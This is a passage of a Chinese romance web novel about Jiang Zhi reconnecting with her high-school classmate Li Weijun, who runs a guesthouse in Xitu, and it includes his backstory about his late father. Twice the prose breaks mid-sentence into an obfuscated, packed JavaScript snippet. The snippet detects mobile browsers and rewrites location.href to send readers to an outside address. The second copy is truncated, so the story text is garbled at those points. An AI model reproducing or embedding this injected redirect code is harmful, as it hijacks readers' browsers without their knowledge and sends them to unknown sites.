怪不得李惟钧拿了几个冰冰凉凉的酸奶粽子让她带回房间吃。 洗护用品到底还是没收钱,饭是他做的,碗是他洗的,还拿了他做的酸奶粽子…… 快要五年没见,没想到在这重逢的短短三个小时之内,竟然一下子接触了那么多次,还拿了李惟钧那么多“好处”。 这一晚上这都快抵上高中三年的一小半了。 姜至换好睡衣倒头往床上一躺,浑身松散下来,仰着脸看了几秒天花板,歪头,从旁边托盘捏了点粽子吃。 看来不止女大十八变,男大也有十八变这一说。 但是,尽管从前的李惟钧性格沉默寡言,可姜至从不觉得他如今的细致温柔与从前差别巨大。 似乎在她的潜意识里,李惟钧本就如此,只是现在长大了,成熟了,当了民宿老板所以人也稍微外放了一些。 姜至实在想不出太多关乎他的回忆。 手往旁边摸,捞了个空,再一看才发现托盘空了,三个酸奶粽子被她吃完了。 但是还没吃够…… 她吃面本来都吃饱了的。 酸奶粽子好像是西途才有的甜品,虽然姜至还没吃过别家做的,但觉得李惟钧做得很好吃。 他对西途居然熟悉到了这种程度,连这种特色小吃都会做。 姜至擦干手,点开微信,找到李惟钧。 他的朋友圈背景和头像好像是在同一个地方拍的,色调都是很澄澈的蓝,朋友圈的内容也很简单,基本就是春夏秋冬四个时节的“盛夏将至”,中间夹杂着一个叫“飞越”的跳伞基地宣传贴。 划到最后,他注册微信发的第一条朋友圈是一个“让爱回家”网站宣传贴。 一点关于他个人的东西都没有。 真·宣传大使。 姜至越看越觉得自己肯定是加了他的工作微信。 不过也无所谓,这倒是正常,她面对自己不亲近的人也不会用私人号加好友。 姜至退出他的朋友圈,乔映谣的电话恰好这时候打进来,“到地方啦?我刚从外头回宿舍。” “还没到良平,坐一天车有点儿累,我先在市中心歇了个脚。”姜至钻进被窝里关了灯,整间民宿静悄悄。 不知道今晚还会不会有来办入住的客人,上楼前她跟李惟钧打了声招呼,李惟钧跟她说:“晚安。” 可能也要去睡觉了。 姜至放低音量,悄声八卦说:“你猜我在西途碰到谁了?” 乔映谣忽地瞪大了眼,一个劲儿往屏幕这边看,那架势像是要从屏幕里钻出来,“谁?不会是梁嘉西那渣男吧!” “怎么可能!”姜至鲤鱼打挺似的坐起来,“他怎么可能知道我在西途!” “吓死我了,那人不就爱来阴魂不散这一套吗!都缠了你多长时间了?他下午还找我来问你的事情呢,我没搭理。” 姜至说:“快拉黑快拉黑。” “早就给他删了,我吃饭的时候碰到的他,所以你碰见谁了?” 姜至又躺回去,不知道为什么,心里有些澎湃,“你还记得李惟钧吗?咱们高中同学。” 乔映谣想了想,“咱们班副班长是吧,成绩特好的那个……不是,你遇见他了啊?” “我今晚正好住在他的民宿。” “啊?这么巧!你确定是他吗?他怎么跑西途开民宿去了?” “他说是他接手他妈妈的店。” “他妈妈?”乔映谣顿了顿。 “嗯,怎么了?” 乔映谣略微有些迟疑,琢磨了一会儿:“哦,也没什么,高中刚一开学那会儿学校为了弄家校互联不是让咱们填过家庭信息吗,李惟钧只给了他爸爸的,我印象特别深是因为当时咱们班主任对人名的时候,还在办公室说这件事来着,但是后来他找班主任补没补信息我也不知道。” 姜至猜测:“他妈妈该不会是西途这边的吧?他做饭特别好吃,我刚在他店里吃了碗面,而且他还会做西途特产,对这边非常熟悉。” “也说不准,天呐,这都多少年没听过李惟钧消息了,你刚才一说这个人名我都恍惚了一下。”乔映谣满脸讶然,随后又开始挤眉弄眼,“怎么样,他长残了没?” 姜至:“……” “以前他绝对算是咱们学校校草之一吧,前阵子同学聚会我不是去了吗,剩下那几个校草也去了,我的老天爷啊你不知道,他们一个个都从校草变杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050648|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草了,油腻的都能炒好几盘菜,男人花期都那么短的吗?那也不至于这么短吧。” 李惟钧倒是不短。 “他跟以前比,如何啊?” 姜至摇摇头,“好像也没怎么变。” “哇,他没变杂草啊,那保持的还行,身形呢,有将军肚没?” “没有,他才多大啊就将军肚。” “多大都能有将军肚!不锻炼就没身材啊,我最近见到的男生都是一些令人无趣的儿童身材,要不就干瘪要不就肥胖,我跟你说!薄肌就是男人最好的医美,长得帅的人有薄肌就是锦上添花!” 姜至:“……” “但是我比较好奇的是他这闷葫芦有女朋友了没?” “……不知道。” 乔映谣一脸不赞同,“你怎么没问问?” 姜至给了她一个白眼,“……多冒昧啊上来就问人家这个。” “问问也不亏啊,老同学叙个旧怎么了。”乔映谣又凑近屏幕,脸上的表情贼兮兮的,“他那张脸确实很可以,要是没对象……” 姜至无语:“你打住打住打住!打住!” “哎呀你没听说过那句话吗,忘记一段感情最好的办法是开启下一段。” “别乱点鸳鸯谱了行吗!我们俩以前压根儿就没说过几句话。” 乔映谣笑了笑,“那也比我们强吧,他跟你至少都是班干部,多多少少有些交流,但跟我们是真没交流,我好像都没跟他说过话。” 好像乔映谣说的是挺对的,姜至一时语塞,转移话题,“以前倒是烦过几天,但你看我现在像是难过的样子?我早就把梁嘉西忘没影儿了!” 姜至很认真地说:“以前从来没这么觉得,但是我现在才明白,我一直以来或许都没那么喜欢他,不然也不会这么痛快就分手。” “不难过就行,渣男不值得,但是吧……李惟钧这么优质的男性资源摆在你眼前,要是他单身的话得好好把握住啊!咱虽然在那边不能长待,来场短暂的露水……” 怎么又来…… 姜至满脸羞窘,但自己都不知道为什么会这样,她心下一惊,连忙说:“我真服了你这张破嘴,快别胡说八道了!多看点绿色小说吧少沾荤腥!睡觉睡觉明天还得早起!” 就不该跟乔映谣说,跑偏了!跑太偏了! 挂断电话,姜至一颗心还在扑通扑通跳着,直到昏睡过去之前,乔映谣的歪点子好像还在耳畔循环,这导致姜至做了一晚上的梦。 梦里一会儿是2018年的李惟钧,一会儿是2010年的李惟钧。 不过奇怪的是,2010年的李惟钧却穿着他2018年的那套衣服,黑色短袖加工装裤,坐在教室那个狭小的座位里,周围的人都穿的校服,他显得格格不入,然后不知道从哪里变出来一碗香喷喷的煎蛋面,推到她面前,朝她十分柔和地笑着说:“生日快乐,姜至。” 梦里的姜至懵了。 她看看面,看看李惟钧,又看看周围低头学习的同学,正不知道该干什么的时候,乔映谣忽然扑在她耳边说悄悄话:“长期的稳定恋爱固然健康,但短暂的露水情缘也很愉悦身心!你看看他那肌肉,春天要来啦!” 李惟钧还是那样温和的模样,不知道有没有听到乔映谣这句荤话,但他豁然起身,姜至立刻感觉到空间逼仄起来,身处在偌大的教室她却觉得手脚都不知道该怎么放,下意识后退了一步。 李惟钧往前走了一步,他眼睛里装满了诚恳,很大度地说:“要看看吗?” 上课铃忽然响了。 七点半的闹钟在耳边振动着,姜至睁开眼,捂着脸想,完蛋了,这下全完了。 5. 冬与春的距离(4) 李惟钧平时的生活作息一直很规律,早睡早起,起床后去跑跑步就吃早饭工作,基本不怎么熬夜,偶尔来盛夏将至看店的时候才会熬个大夜班,等员工来了再去补觉,但这次,李惟钧失眠了。 头天晚上虽然熬了大夜,可是第二天一点困意也没有。 六点多,天色还是灰蒙蒙的,李惟钧在壁炉前的小沙发里看了大半夜雪,实在睡不着,干脆省去晨跑锻炼,拿笤帚把民宿门口的积雪扫了扫,给后院也清了清积雪,随后搭早班公交到市中心的一个小区附近下车。 小区大门口前停了辆黑色路虎,李惟钧上前敲了敲驾驶座的窗户,车上下来一个男人,裹了裹身上的羽绒服,懒散打着哈欠,一脸困倦,“其澜今天调休,说让你今天中午上家里吃饭去。” 李惟钧直接拒绝:“今天中午不行,没空。” 林空一听这话,往车门上斜斜一倚,也顾不上困和冷了,睨着他:“上次就是这个理由。” 李惟钧被逗笑,“是真有事儿,待会儿得去趟良平,还不知道什么时候能回来,不然我借你车干什么?” “有合作啊?” “不是,”李惟钧顿了顿,“送个人。” 林空迅速嗅到八卦的味道,站直了,“男的女的?” 李惟钧失笑,没说话。 一看这铁树开花的表情就有戏,林空咋咋呼呼连喊了两声:“女的!女的!” 李惟钧轻轻“啧”了声,指了指他羽绒服里头还没摘的红色领带:“……正经点儿吧,有你这样的法官吗?” 林空完全忽略他的话,自顾自说道:“哎!你早说啊。” “我姐又准备叫别人上家里一起吃饭吧,这次准备把谁介绍给我?还是她同事?”李惟钧早猜透了她的心思,满脸无奈,“上上次叫我回家吃饭就是这个目的,我也没那么着急谈恋爱。” “不是,别岔开话题,你说你今儿要送一女生去良平?” 李惟钧预料到他要说什么,打开车门坐进驾驶座,“少跟我姐学查户口这一出。” “好好跟姐夫说话!我刚值完夜班回到家就在这儿等着,这车白借你了?” 李惟钧不得不说:“高中同学,人大老远过来的,我抽一天时间陪陪。” “高中同学?”林空琢磨了会儿,“从清潭来的啊?” 李惟钧发动车,临走前说:“让我姐别操心我的事了,我有数,等下回她有空了我再回家吃饭。” “真有数假有数?你给个准话,不然其澜不可能不操心。” 李惟钧只得停下,就在林空以为他会认真说些什么时,他却淡笑着来了句:“真没什么,就是高中同学,以前帮了我挺多的。” 林空愣了,这话有点让人摸不着头脑,又看着他复杂的笑,忽然问:“你还准备回清潭?” 那个城市繁华似锦,热闹,总是车水马龙,堵车最严重的时候能堵两个小时,春夏秋冬四个季节还总是下雨,离西途有上千公里,林空和方其澜去过一次,他们一致觉得那个城市一点都不好。 太大了,没人情味,不如西途。 李惟钧敛起脸上的松散,隔着车窗看他,眼睛看上去深不可测,隔了几秒才说:“姐夫,你这脑回路……想太远了。” * 李惟钧把车开回盛夏将至时,二楼的窗帘紧闭着,估计姜至还没起,他在院外停好车,正好碰见郑阿姨过来做早餐。 锁车的声音姜至在床上模模糊糊听到了,也听见了李惟钧和别人微弱的交谈声,于是那个荒谬的梦更让人觉得茫然,再结合乔映谣那番犹如魔音绕梁的露水情缘…… 太无措了。 难不成真像乔映谣说的那样,忘记一段爱情的最好方法是开启下一段,可她明明已经完全不在乎梁嘉西了。 姜至自认为她不是一个欲.望很强烈的人,和梁嘉西谈恋爱时从没做过那样的梦,准确地说是连男人的影子都没梦到过,而如今在西途居然梦到了多年未见的老同学,而且她跟李惟钧也才再见到没多久…… 楼道里传来行李箱滑动的闷响,姜至看了眼表,已经在被窝里磨蹭十分钟了,再不愿起床也该起床了,她把那个略微有些暧昧的梦短暂地抛之脑后,掀开被子要下床,整个人又差点没摔回去,长久没有锻炼过,猛一下拉两个那么沉的行李箱,两条胳膊都不像是自己的,酸的抬不起来。 姜至咬牙忍着,用最快的速度收拾好行李,想了想,最后还是又翻出化妆包简单化了化妆,虽说是简单化,但粉底修容眉毛眼线眼影和假睫毛一个都不落,只不过是速度快。 她大学也不常化妆,毕业之后在家里反倒开始化了,每天去图书馆学习之前先得在家里磨蹭一个多小时给自己的脸捯饬捯饬,自己把自己哄好了才愿意出门。 下楼时,李惟钧也刚好从他的卧室出来,抬眼,姜至正喷香水,朝空气中按了两下喷头,然后自己在雾气下转了一圈,李惟钧弯着笑眼看她。 她脸色很好,脸上的妆不浓,但显得很明艳,看来睡得不错,他心放了下去,三步并作两步上楼替她把行李箱拿下来,“阿姨做了早饭,想吃什么可以去厨房看看。” 姜至回想了下订单,他又要给她“老同学优待”了,“房间不含早吧。” “给个早饭钱也行。”李惟钧不用回头,光凭语气就能听出她想要说什么,她估计又在心里说他太实在了,勾着唇角说:“或者来杯咖啡?” “不了不了,没有吃早饭的习惯,咱们直接走吧。” 姜至坐上副驾,李惟钧打火热着车,拿了个纸袋递给她:“我看你没有戴手套,先将就着戴这副吧。” 还没等姜至说话,他立马又说:“不用见外,一副手套花不了几个钱。这是店里做饭的郑阿姨织的,我一般会让她把勾好的东西拿到民宿里卖,拇指和食指可以点手机屏幕,这样在外面不会那么容易冻手,今天西途零下十五度。” 这下子姜至只好欣然接受,是一副克因蓝色的手套,她两只手都戴上试了试,手掌撑开朝李惟钧晃了晃,眼睛弯弯的,“好好看的颜色,她还会织什么?” “毛衣,帽子,手套,围巾,基本上能用毛线做的她都会。” “手好巧啊!你上哪儿挖来的宝藏?” 李惟钧打开导航,让她输目的地,“她原来跟我妈认识,以前就在我妈的旅馆里做饭。” 原来如此,姜至正想问,手机一连响了好几声,是任丽娟的微信,姜至都没来得及仔细看,她的电话就打了过来。 姜至心里一紧,余光看见李惟钧正专心致志地盯着路,犹豫几秒,还是接了起来,在包里翻找耳机。 任丽娟经过一夜的调整,脾气已经消下去大半儿,在电话里温声问她现在情况如何,下一步准备是什么,姜至没找到耳机,只能先这样简略地跟她说了说,但任丽娟非常不满意,绕过来绕过去还是绕到了让她回家这个话题上:“没事儿,咱们累了的话想缓缓也行。先报个见习岗,不交社保不影响应届生身份,每个月能拿个最低工资,你可以直接报名妈妈的单位,或者去你爸爸单位也行,很轻松的,写材料外出这些活都不需要你去做,平 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“姜至,”李惟钧突然出声叫她,“有什么需要帮忙的地方就来找我,我能帮到的一定帮,不用客气。” 姜至愣了会儿,慢慢品出他这话里并没有客套的意思,才点点头,“行!” “我周一到周五不在民宿,周末过去看店,平时你给我发微信打电话都可以,有时候上班在山里信号不好,会回得晚一点。” 姜至问他:“你在山里上班?还有副业啊?” “民宿是一个副业。”李惟钧耐心解释:“我跟几个人合伙在山里开了个跳伞基地,不过现在不太适合跳伞,冬天那边是滑雪场。对了,跟我合伙的有一个你也认识,窦维。” “窦维!就是咱们班当时招飞去当飞行员的那个?” 李惟钧颔首:“是他,大四去跳伞的时候跟他碰着了,他就在西途的军校上大学。” 印象里,李惟钧好像也去参加了招飞,体检什么的也都顺利通过,不过最后好像没去。 姜至聊起他:“你也在西途上大学的?” 又觉得这样突兀地问不太好,便加了句:“我大学也是在清潭,上这么多年学就没走出过清潭。” 李惟钧想起来当年班主任为了鼓舞他们,往教室后面贴了张海报,让他们填意向大学,姜至把中国东南西北四个方位的名牌大学都写了一遍,踌躇满志要选去哪一个,结果最后四个大学都被擦了,高三最后一次家长会时由她妈妈亲手改成了:清潭大学。 他说:“我在西京大学上的,计算机专业。” “西大的计算机很不错啊,”姜至想他高中成绩那么好,去西大很简单,不过她还是好奇,“但你怎么跑到西途来工作了?我听人说,西京现在发展前景很不错啊,好多大厂给的条件都挺好。” 这话音刚落,就想起来“盛夏将至”还有个前身——他妈妈的小旅馆。 果不其然,李惟钧说:“其实毕业之后拿到了西京的一些offer,但是得回来接手我妈这间民宿,我不弄就没人弄了,留着也是荒废,所以大学毕业就一直在西途待着了。” 他不弄没人弄…… 按照这话的走势,姜至觉得不太好继续往下问,便拐了个弯,“那你这几年过年都是在这边儿过,没回过清潭啊?你爸爸也跟着你一起来西途了?” 李惟钧脸色十分平静地握着方向盘,看不出任何异样,就这样沉默了几秒,说:“他不在了。” 6. 冬与春的距离(5) 李承良是个很伟大的人,李惟钧觉得,这个世界上不会再有任何人比他更好了,可好人没好运,好人不长命。 上高中之前的十几年里,他们父子俩一直住在清潭市下属的一个小县城,秋谷县。 当时的秋谷县没有完全开辟出旅游区,经济算不上发达,唯一的经济大头是玻璃厂,李承良就在玻璃厂当操作工抬玻璃。 一块玻璃25公斤,一抬就是一天。 上小学时李承良不让他到车间里来,嫌他太小怕他磕到碰到,上初中后李惟钧的力气练出来了,个子也窜了不少,虽然很瘦但很有劲儿,一有空就去车间帮忙,周围的操作工都拿李承良打趣,说他有个好儿子,学习好,长得又好,脾气温温和和的,人也知道努力争气,还知道给下了课来给爸爸干活,懂事! 这是那些人当着他们父子俩的面说的话。 背地里,他们会说: “活得多窝囊啊,媳妇儿都卷钱跟人跑了,自己还欠了一屁股债,穷得叮当响。” “听说还蹲过监狱呢!” “要不说他窝囊,那是人家把他给坑了!” “他媳妇儿相好的坑的?” “我听他们村的人说,一开始李承良跟他媳妇儿在秋谷挺有名,他给市里包工程,他媳妇儿在工地开饭店,后来李承良跟人合伙做买卖,亏了本了,跟他合伙那个一看还不上窟窿,把责任往他身上一推,拍拍屁股走人了,那李承良也是傻,不长心眼,初中毕业又不是没有文化,结果白让人家坑了一把进去蹲了段时间。他媳妇儿没救人,可能也没办法救,就跟那合伙的人一块跑了。” “……” “李承良他爹废了老大力气借钱把他从监狱捞出来,没多久人也死了,这一大家子就剩他跟他儿子。” “那孩子也是可怜。” “你别说,我看人家将来准有出息,再熬几年就能出头,老李有这儿子是他福气。” 不管是在车间里,还是在住的地方,甚至在学校,李惟钧都能听到有人在背后嚼这样的舌根,他从不主动招惹是非,但有些初中男生的恶意来的不明不白又突然,他们不了解李承良,把他过去走过的路当做笑柄,当做轶事,嘲笑他穿的破破烂烂,没有一份体面的工作,就连怜悯也是在看笑话。 李惟钧很小就知道什么是忍耐。 他能活到现在,是靠着李承良一块一块玻璃抬出来的,李承良抬出了他的人生。 他从不觉得李承良丢人,但李承良总是怕自己给他丢人。 2010年,李惟钧以秋谷县中考全县第一的成绩考进清潭一中,高一入学那天,李承良特意把几百年没穿一次的西装找了出来,挑了件浅色短袖衬衫搭配西装裤穿,那身西装还是当年和媳妇儿结婚的时候买的,银灰色,面料很好,就是款式有点老了。 李承良还说:“结婚的时候这身西装穿着别提有多帅!当然主要是你爸我人长得帅。” 说完一照镜子,常年的风吹日晒让他整个人变得无比沧桑,为了还债,他把自己所有精力全放在了打工干活这件事上,完全没有功夫收拾自己,感叹:“还是年轻好啊!现在又老又黑。” 父子二人坐了辆到市里的大巴车,又转了一趟公交,走了一上午,提着大包小包来到市一中。 学校门口车水马龙,全是来送孩子的家长。 那是李承良十几年来第一次参加他的家长会,站在众多光鲜亮丽的家长身边,略显局促。 那也是李惟钧第一次见到班上的新同学,第一次见到姜至。 她人很明显,人群中一眼就能让人关注到,穿一件蓝色的短袖和一条白色的百褶裙,背了一个颜色稍浅的蓝色背包,皮肤白得晃眼,打着一顶绿色的遮阳伞站在老师旁边,老师登记学生信息她就帮忙发军训服。 这周围只有她一个人打遮阳伞。 她好像认识很多人,也不知道是不是自来熟,许多学生都和她有说有笑的,其中男女生都有,但当时李惟钧并没有过多注意她,只听到旁边好多人叫她:“姜至,姜至。” 那名字在聒噪嘈杂的操场上显得格外清晰。 八月底的清潭暑气正浓,上午十点钟的日光明晃晃,气温直逼38度,李承良提着两个蛇皮行李袋站在他身边大汗淋漓,在秋谷上初中时不住宿,因此他俩都没想起来寄宿高中是有小超市的,把洗漱用品脸盆毛巾床垫被褥枕头一股脑全带了过来,环顾四周,很少有谁像他们一样带着行李,大多数都是直接从学校超市里买。 肩上的双肩包勒得他肩膀发痛。 队伍走得比较慢,而日头却越来越毒辣了,李承良给他置办的新衣服后背应该已经被汗浸湿,今晚住进宿舍第一件事就是赶紧把衣服洗了。 正琢磨着,有人又凑过来问姜至身上背的包是在哪里买的。 中学时期女孩子们能聊的话题不多,建立友谊的速度也很快,一个背包就能引出共同话题,刚才她还和别的女生靠着“拉丁舞”、“super junior”和“爱格小说”这些话题建立起了友谊。 李惟钧只觉得她是个挺健谈的女生,其实说白了就是个话痨。 姜至说这包是她姐姐送的生日礼物,那人闻言说你姐姐真好,这包很贵的,将近六百块。 六百块,够买两身他的衣服。 李惟钧侧头,看见李承良汗如雨下的鬓角。 他多年前做生意失败,酗酒,把身体喝出毛病了,落下了病根,一直靠吃药调节,李惟钧怕李承良中暑,便让他去旁边坐着休息买瓶水喝,他不肯,舔了舔干涸的嘴唇硬要一起排队,等轮到他们登记时,李承良浑身几乎已经湿透了,跟从水里捞出来的一样。 老师把学生卡和学生证交给李惟钧,让他填表,李惟钧弯腰写字时,听到李承良说:“谢谢你啊姑娘……” 李惟钧抬头看了眼。 姜至递给李承良一瓶娃哈哈矿泉水,和一张心相印纸巾,隔着不远的距离,李惟钧闻到一阵好闻的茶味清香,是那张纸巾散发出来的。 她笑笑,把伞往李承良这边移了些,说:“没事儿,要不您上后面待会儿吧,家长都在后面等着,这里太晒,登记信息还得要等几分钟呢。” 李惟钧顺着她的话说:“爸你过去坐着吧,我马上就好。” 李承良连连应声,顺着姜至指的方向走,姜至把他带过去找到座位,回来时,那把绿色的伞却没了。 等他填好信息,姜至仰头,眯了眯眼问:“你穿多大号的衣服?” 没了遮阳伞,她的脸颊透着日晒过后的细微的粉,嘴唇也红艳艳的。 李惟钧往左站了站,几近站到她正对面,他个头高,姜至正好到他下巴,刺眼的光线被他高瘦的背脊挡住一些,那股清爽淡雅的香气愈发浓郁了。 他的视线扫过她领口别着的学生卡,上面写着秀丽的小楷字:姜至。 “185的就行,谢谢。” 李惟钧感觉额头上的汗滴已经快要滑落到眼皮上了,下意识想歪头蹭蹭,又忽然没由头地止住。 姜至找了套185的夏季校服,顺便从自己那一小包心相印纸巾里又抽出一张,递给他。 李惟钧的眼睛从姜至的掌心缓缓向上,直至对上她的眼睛,认真地注视了她一眼。 迎着盛夏的日光,她的眼睛里亮晶晶的,他从那双漆黑清澈的瞳仁里看到自己的影子。 李惟钧忽然觉得他快要热到中暑了,垂眸,把东西接过来,又温声说了句:“谢谢。” 掌心里的纸巾柔韧绵软,李惟钧用它擦去眼皮上的汗珠,鼻息间都是香气,和她身上一样的,他不知道那具体是什么味道,只觉得燥热的感觉消散了些,再睁开眼时,看到前面,李承良坐在家长区喝着矿泉水,两个蛇皮袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李惟钧把速度放缓,一公里还是很快就到了,他慢慢踩下刹车,把车缓缓停下,跟姜至一起找房东碰了个面,房东是个七十岁老太太,一看有个男的在她身边,俩人还站那么近,看着又郎才女貌十分登对,误会了:“不能带男朋友一起住的哦,要是他跟你一起你们得交两个人的房租,姑娘你不是说一个人住的嘛?” 姜至一愣,和李惟钧对视一下,他没吭声。 今早做的梦唰一下重新出现在眼前,她耳朵根子滚烫,连忙摆了摆手,语无伦次地说她是一个人住,否认的话都没来得及说出口,房东又说:“啊对了还有,最好还是不要在家里养小狗啊,我们这周围的邻居都是老年人,养狗不太方便的。上一个租户一个月前刚退租,把房子已经收拾好了,钥匙也给我了,你要是不放心的话可以自己换个锁,给我个新钥匙就行,我现在不住这里一般都不往这边来的,你放心啊。” 那句“他不是我男朋友”被迫咽回肚子里,姜至还有点不好意思扭头看李惟钧,跟房东应了声好,签完合同拿了钥匙,李惟钧又陪她走到楼下。 “我就不上去了,有什么事给我打电话,真别跟我客气。”他停在电梯口,犹豫片刻,注视着她的眼睛说:“你妈妈的担心是对的,能找我帮忙的事别自己硬扛。” 姜至从他手里接过箱子,莫名有种奇怪的感觉,和李惟钧相处这短暂的时间里,她一点也不拘束不生疏,尽管她不社恐,但是面对不那么熟悉的人还是会克制自己一些的,可对李惟钧完全没有那种感觉。甚至此刻他们将要就此别过,姜至脑海中想的第一件事是: 不知道下次再见是什么时候了,她接下来会很忙。 “行,等我有空了就去盛夏将至喝苹果热橙茶,”她立马补充了句:“下次不许不收我钱!你也要好好挣钱养活那些员工啊!” 李惟钧扬唇:“行,听你的。我等着你来,姜至。” 7. 冬与春的距离(6) 李惟钧在车里多等了两个小时,大概中午十二点的时候,看见姜至提着两大袋垃圾袋从公寓里出来,一个人走进了旁边的小商超里,十几分钟之后,提着购物袋回了公寓。 没隔几分钟,她在手机上问他:【你回到市里了吗?】 【回了,怎么了?】 【没事,我看看你安全到了没有,刚才忘记跟你说路上滑,开车小心。】 李惟钧回了个emoji:【[愉快]】 他估摸着应该没有需要他帮忙的地方了,启动车子往跳伞基地的方向走,这个地方离基地不近,开车得需要四十分钟。 没想到姜至找的公寓会这么偏,临近良平县郊区,周围村庄很多,很少有什么商圈和写字楼。 关于这个,姜至没说,他也没问,只知道她来这儿是带了点跟家里人赌气的成分的。 不知道他那句“有需要就找他帮忙”的话她有没有往心里记,看样子是听进去了,她认真想事情的时候喜欢把嘴巴抿起来,唇角轻轻朝左边翘着。 但是李惟钧觉得,凭借高中三年对她的了解,就算是遇到了什么事情,她也不会告诉他的。 在学校的时候姜至就不是那种喜欢麻烦别人的人,尤其是跟她不亲密的人,而且在麻烦别人之前,她自己会先绞尽脑汁想办法把问题解决掉。 很有主意的一个女孩子,也很独立。 返程路上,主干道上的雪已经被附近的工作人员清理得差不多了,走到半路,李惟钧接到了方其澜打来的电话,不用想就知道是来八卦的。 大学毕业之后他就来到了西途接手民宿,办了跳伞基地,还跟人一起合伙干着别的活,工作这方面倒是不用发愁了,因此方其澜极其操心他的人生大事,时不时就介绍相亲对象给他,好像他多么“恨娶”似的。 方其澜问:“怎么样?有没有打扰到你们,午饭吃了吧?” 林空在旁边插话:“抽个时间赶紧去把你那辆车提回来!别再犯懒了!” 李惟钧说:“有空就去,我正往跳伞基地走呢,人送到我就回了。” “啊?”方其澜的声音听上去有点遗憾,“高中同学呢,怎么不一起吃顿饭啊。” 李惟钧乐了,“人家有人家的事情忙。” “你这同学是来这儿旅游的?”她小心翼翼地问。 “行了啊姐,我姐夫又跟你说乱七八糟的事儿了吧。” “那我也不跟你拐弯抹角,就直说了啊,你都要25岁了!该考虑了!整天跟一群大老爷们儿在一块,一休息就大门不出二门不迈,女朋友能从哪儿冒出来?从天上掉下来吗还是做梦梦出来?你真打算寡一辈子?” 李惟钧实在无奈,“这是着急就能有的?” “还顶嘴!”方其澜声音一压,警察的威严立马出来。 李惟钧老老实实闭了嘴,方其澜一听他话里话外根本不提那高中女同学的事,想着应该是真没什么,真没戏,又琢磨他这弟弟身材长相也不差啊,工作也说得过去赚的也不少,家里条件…… 对,这应该是个大问题。 现在谈恋爱结婚谁不考虑对方家庭啊,像他这种情况不被嫌弃就不错了,于是心里默默开始发起了愁,态度缓和了些,“所以还是得多见见人对吧,我们局里好多女孩子都是单身,性格都很好,大大方方的,绝对不会因为一些小事情计较。” 李惟钧没说话,方其澜也怕逼得太紧,最后撂下句:“这车轱辘话我老是跟你来回说,你得往心里记啊,等你打光棍再后悔就完了!妈妈最大的心愿就是看到你结婚……” 嘴快了,林空在一边朝她挤眉弄眼,方其澜微愣,意识到自己说了不该说的,一时间也慌了,“我不是,姐没有别的意思啊。” 李惟钧温声抚慰:“我知道,姐,我知道你的意思。” 他又想起来姜至刚才跟他道别的眼神,温和,宁静,要说有什么波澜的话,或许是夹杂着一丝眷恋的吧,但那是对他提供帮助的眷恋,除了这个就没有别的了,她这场及时雨来去匆匆,太阳一出,地面上任何痕迹都留不下。 姜至的出现太突然了,他完全没有预料,也从来没想过她会再次出现在他的生活里,这对于他来说像做梦一样。 一晃这么多年过去,感情会随着时间的流逝发生改变的,李惟钧不确定自己有没有改变,很怕在自己心里,是姜至“突然造访”的一时新鲜占据上风。 昨天晚上想了一夜也没想明白的事情,没理清楚的头绪,早上一看见她就更纠结,更乱。 李惟钧的嗓子涩了,“但是我还没想清楚。” 那之后,李惟钧没再找过姜至,姜至也没有找过他。 实际上是姜至没工夫找他。 公寓很干净,姜至扔掉前租户的床垫和遗留物品,用消毒水拖了遍地,擦了擦桌椅就收拾好了。 因此李惟钧送她来公寓那天下午,她就跟HR约好了面试,西途这边短期工作不好找,只有语音直播,人事专员和教培,姜至都面了。 教培当场就出了结果,姜至口条不错,形象好,毕业的大学也厉害,试讲完,校长当即就拍板给她通过了,第二天就可以正式上岗,工资一月一结,底薪三千五,一周双休,有餐补和交通补助,主要负责教初中语文。 待遇还可以,姜至推了另外两个公司,一猛子扎进教培班里,西途还没放完寒假,教培机构忙得很,校长给了姜至两个初一的语文班,上午讲一个小时下午讲一个小时,晚上还有一节初三的语文班。 姜至信心满满上岗,一开始觉得初中生嘛,语文课很好教啊,她教师资格证是高中的,初中的东西基本没什么问题,结果现实让她发现自己想错了。 两个初一语文班是她从别的老师手里接过来的,教之前,校长特意叮嘱过这些初一的小孩很闹腾,不好管,让她严厉些,之前那个老师就是因为管不住学生,总是被家长投诉所以才换成了她。 姜至带班一开始还可以,她上课很严肃,基本上没有学生敢在她面前胡闹,但时间一久,问题就多了,孩子们明白她就是个纸老虎,上课说小话的、走神的、捣乱的一下子全冒了出来,最过分的是还有人当着她的面用手机加Q.Q好友! 半个月里,她接到四次家长投诉,有的嫌弃她讲的内容太浅显,有的说她作业留的太少,有的说她留的太多。 最让人难受的一次,她在家长群里反馈最近学生上课学习状态,也没有指名道姓说谁不好,私下却有个家长来对号入座,可能是觉得丢脸,说她管得真是太宽了,说她对孩子太严厉,还说孩子能坐在位置上听课就不错了,学得好不好无所谓,最后缠着校长要再换个老师。 姜至第一次被气到无语,她尽心尽力结果好心被当驴肝肺了!想着要不不干了吧,这费力不讨好的活谁爱干谁干,但又不想中途放弃,那不是她的风格。 实在没忍住那些委屈,才跟任丽娟打电话哭,“我为了上课嗓子都快喊哑了,而且他们课时费都很贵的!我就是不想让他们在辅导班浪费自己爸妈辛苦赚的钱,我有错吗!” 听她哭任丽娟其实也心疼,但是嘴硬:“看吧,至至,早跟你说过了,不要把任何事情想得太简单,你就是没出过社会没经历过毒打。” 她本想着姜至经历过这次能明白过来,自己一个人单过没那么简单,没准儿就能知难而退回清潭了,结果姜至被她这么一激,更崩溃了,也顾不上什么丢脸不丢脸赌气不赌气了:“妈妈你怎么这样!你就不能安慰安慰我吗!我不就是想听一句好话吗!” 